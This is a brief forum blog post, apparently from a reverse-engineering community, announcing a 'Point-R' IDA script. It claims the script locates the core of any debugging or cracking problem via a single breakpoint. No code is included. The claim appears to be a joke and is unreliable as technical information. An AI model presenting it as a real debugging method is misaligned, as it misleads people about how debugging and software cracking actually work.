    While trying to track down a really difficult problem in the production version of our software that only manifested itself in certain configurations on SunW,
    i thought to myself... There Must Be A Better Way!

    So here, i present you the Point-R technique.
    It is very similar to the hmemcpy technique which we all miss so much, in that it will give you a jump start with any debugging problem.

    Just load the problematic file, be it a program of yours or something you need to crack, into ida and run point-r.upb.idc.

    Set a breakpoint on Point-R, let it run until the breakpoint breaks and you will be at the core of the problem at hand.

    The script will find Point-R by utilizing a series of successive complex approximations, much in the same way you would find a square root with some fixed precision.

    Enjoy and comment/enhance it!
    (and do not hesitate to correct my spelling/style errors [LLXX])

    Updated October 25th, 2007 at 21:01 by upb

    Categories
    Uncategorized
    Attached Thumbnails Attached Files
Page 3 of 5 FirstFirst 12345 LastLast